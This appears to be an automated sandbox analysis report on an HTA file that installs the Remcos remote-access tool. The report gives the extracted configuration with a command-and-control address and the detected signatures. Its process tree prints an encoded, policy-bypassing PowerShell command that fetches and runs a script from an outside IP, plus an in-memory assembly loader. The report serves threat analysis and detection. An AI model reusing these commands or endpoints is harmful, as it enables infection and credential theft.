Analysis
- max time kernel
148s - max time network
151s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260911-en - resource tags
- submitted
07/10/2026, 18:28
General
- Target brodaron.hta
- Size 14KB
- Sample261007-w4ebzstw2q
- SHA256 5b032a8a1830592ef30b35732825ce5969fd620a91dba28ae5ee0aa44cf93f89
Malware Config
Extracted
-
remcos
-
6.0.0 Pro
-
RemoteHost
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103.83.86.40:14642
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audio_folder
MicRecords
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audio_path
ApplicationPath
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audio_record_time
5
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connect_delay
0
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connect_interval
1
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copy_file
remcos.exe
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copy_folder
Remcos
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delete_file
false
-
hide_file
false
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hide_keylog_file
false
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install_flag
false
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keylog_crypt
false
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keylog_file
logs.dat
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keylog_flag
false
-
keylog_folder
remcos
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mouse_option
false
-
mutex
Rmc-6TAD5B
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screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
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screenshot_path
%AppData%
-
screenshot_time
10
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take_screenshot_option
false
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take_screenshot_time
5
Signatures
- Family: Remcos
Remcos is a closed-source remote control and surveillance software.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Detected Nirsoft tools 3 IoCs
Free utilities often used by attackers which can steal passwords, product keys, etc.
- NirSoft MailPassView 1 IoCs
Password recovery tool for various email clients
- NirSoft WebBrowserPassView 1 IoCs
Password recovery tool for various web browsers
- Badlisted process makes network request 3 IoCs
Network request originating from process or tool commonly abused by malware.
- Accesses Microsoft Outlook accounts 1 TTPs 1 IoCs
- Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Suspicious use of SetThreadContext 4 IoCs
- Command and Scripting Interpreter: JavaScript 1 TTPs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Executes a command shell one-liner 1 TTPs 1 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
- Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs
The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.
- System Location Discovery: System Language Discovery 1 TTPs 8 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Script User-Agent 1 IoCs
Uses user-agent string associated with script host/environment.
- Suspicious behavior: EnumeratesProcesses 10 IoCs
- Suspicious behavior: MapViewOfSection 1 TTPs 4 IoCs
- Suspicious use of AdjustPrivilegeToken 3 IoCs
- Suspicious use of WriteProcessMemory 14 IoCs
- outlook_office_path 1 IoCs
Processes
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C:\Windows\SysWOW64\mshta.exeC:\Windows\SysWOW64\mshta.exe "C:\Users\Admin\AppData\Local\Temp\brodaron.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}1⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\system32\cmd.exe" "/C pOWersHeLL.eXE -eX bYpASs -NOp -W 1 -Ec IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAEUAdAAgAAkACQAgACAACQAgAAkACQAgACAAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADUALgA4ADgALgA3ADEALwAzADMALwB3AGUAdAByAG8AbgBnAGkAdgBlAG4ALgBqAHMAPwBJAG0AYQBnAGUAXwAwADMAOQA0ADQAMAAuAGoAcABnAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBvAFUAdABmAGkAbABFACAACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAHYAOgBhAHAAUABEAEEAdABhAFwAZwBvAG8AZABpAG4AdABoAGUAYgBlAHMAdAB3AGEAeQBmAG8AcgAuAGoAcwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAJgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAHYAOgBhAHAAcABkAEEAdABBAFwAZwBvAG8AZABpAG4AdABoAGUAYgBlAHMAdAB3AGEAeQBmAG8AcgAuAGoAcwAdIA== "2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepOWersHeLL.eXE -eX bYpASs -NOp -W 1 -Ec IAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAdwBHAEUAdAAgAAkACQAgACAACQAgAAkACQAgACAAHSBoAHQAdABwADoALwAvADEAMAA3AC4AMQA3ADUALgA4ADgALgA3ADEALwAzADMALwB3AGUAdAByAG8AbgBnAGkAdgBlAG4ALgBqAHMAPwBJAG0AYQBnAGUAXwAwADMAOQA0ADQAMAAuAGoAcABnAB0gIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkALQBvAFUAdABmAGkAbABFACAACQAJAAkACQAJAAkACQAJAAkACQAdICQARQBOAHYAOgBhAHAAUABEAEEAdABhAFwAZwBvAG8AZABpAG4AdABoAGUAYgBlAHMAdAB3AGEAeQBmAG8AcgAuAGoAcwAdICAACQAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJADsAIAAJAAkACQAJAAkACQAJAAkACQAJAAkACQAJAAkAJgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAdICQARQBuAHYAOgBhAHAAcABkAEEAdABBAFwAZwBvAG8AZABpAG4AdABoAGUAYgBlAHMAdAB3AGEAeQBmAG8AcgAuAGoAcwAdIA== "3⤵
- Badlisted process makes network request
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Roaming\goodinthebestwayfor.js"4⤵
- Badlisted process makes network request
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
-
-
-
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoProfile -Command "$unsettled=$env:P1+$env:P2+$env:P3+$env:P4+$env:P5+$env:P6+$env:P7;$duckpins=[Convert]::FromBase64String($unsettled);[AppDomain]::CurrentDomain.Load($duckpins)|Out-Null;[Win32.RMP.aaaaaaa]::aaaaaaaaaaa('mFQQDgSEJ91xhgd2R6lVEHmyXax8Th6fdfMWjjYv/lywOe6E/F8SgfEuTTnIAkoUR13ZBfwGfVL3L0YBed5gRA==','','kewk9KKkW4QFZ3qDuFDvX48BeHw/Wc/zmhVtr+pcOJNo0OWlz9M9014WPsj7oOOq','4VjpzISyhJvi9GeqKaa1siyAOCGexdeM1YK24nY89cc=','/W3r3DZtIrGdIoF4lm2MGNJi5ZQ93Df6QbWCMZu1D4Q=','','n2tfUcafbWe2mQWRbeXkXU9OEx7BQWGGCW9HRYcKjW4=','','3Fri8dJ/E+amhyNP6mr2dxTc+oeKz0Ke0dZMJmxLqk8=','kwNz2YR83MsLXaaPXO5snKwspNdYwCOaETKgzKPbj26yLPnP2Btzg1RbnzrQfTUo','YIsPdCwTg6Z//NTOMGZERxtVv/rxpLuJQHkUYFX/DgI=','s8buxGJ9eGplFupC6YuMfGgXu0/3ZssPe1nIzEUVrHM=','B//YpHT+zBQPtiCE/WGklUKSqRstjlJLwl5mueZJKPA=','','RmirYidrNApJ4PmvOEbB59h3kxRPIIY0pB4BSb1TAs8=','BcFnVvi3CD4ek11KqhLgY59lCT3vcl3MROgSOnep9CY=','','','')"1⤵
- Process spawned unexpected child process
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe"2⤵
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\bfpnl"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
-
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\mzcfeabpb"3⤵
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C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\mzcfeabpb"3⤵
- Accesses Microsoft Outlook accounts
- Accesses Microsoft Outlook profiles
- System Location Discovery: System Language Discovery
- outlook_office_path
-
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exeC:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe /stext "C:\Users\Admin\AppData\Local\Temp\obhqftmqphfj"3⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
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Network
MITRE ATT&CK Enterprise v16
Replay Monitor
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Downloads
StartupProfileData-NonInteractive
__PSScriptPolicyTest_rvfwjjle.ob5.ps1
bfpnl
goodinthebestwayfor.js
memory/3120-49-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3120-51-0x0000000000400000-0x0000000000462000-memory.dmp
memory/3120-45-0x0000000000400000-0x0000000000462000-memory.dmp
memory/4712-33-0x00000214AEBB0000-0x00000214AEBDA000-memory.dmp
memory/4712-25-0x00000214AEB30000-0x00000214AEB52000-memory.dmp
memory/5020-47-0x0000000000400000-0x0000000000478000-memory.dmp
memory/5020-48-0x0000000000400000-0x0000000000478000-memory.dmp
memory/5020-44-0x0000000000400000-0x0000000000478000-memory.dmp
memory/5604-60-0x0000000010000000-0x0000000010019000-memory.dmp
memory/5604-62-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-71-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-72-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-70-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-69-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-68-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-34-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-36-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-38-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-37-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-39-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-40-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-41-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-42-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-43-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-67-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-66-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-65-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-63-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-64-0x0000000000400000-0x0000000000480000-memory.dmp
memory/5604-61-0x0000000010000000-0x0000000010019000-memory.dmp
memory/5604-57-0x0000000010000000-0x0000000010019000-memory.dmp
memory/5672-12-0x0000000074910000-0x00000000750CC000-memory.dmp
memory/5672-6-0x0000000005BA0000-0x0000000005C06000-memory.dmp
memory/5672-2-0x0000000074910000-0x00000000750CC000-memory.dmp
memory/5672-0-0x0000000074922000-0x0000000074923000-memory.dmp
memory/5672-1-0x00000000028A0000-0x00000000028D6000-memory.dmp
memory/5672-18-0x00000000065E0000-0x00000000065FA000-memory.dmp
memory/5672-4-0x0000000005300000-0x0000000005322000-memory.dmp
memory/5672-17-0x00000000077F0000-0x0000000007E6C000-memory.dmp
memory/5672-24-0x0000000074910000-0x00000000750CC000-memory.dmp
memory/5672-5-0x0000000005B30000-0x0000000005B96000-memory.dmp
memory/5672-16-0x0000000006110000-0x000000000615C000-memory.dmp
memory/5672-13-0x0000000005C10000-0x0000000005F6B000-memory.dmp
memory/5672-3-0x00000000054E0000-0x0000000005B2A000-memory.dmp
memory/5672-15-0x00000000060C0000-0x00000000060DE000-memory.dmp
memory/5872-52-0x0000000000400000-0x0000000000424000-memory.dmp
memory/5872-46-0x0000000000400000-0x0000000000424000-memory.dmp
memory/5872-54-0x0000000000400000-0x0000000000424000-memory.dmp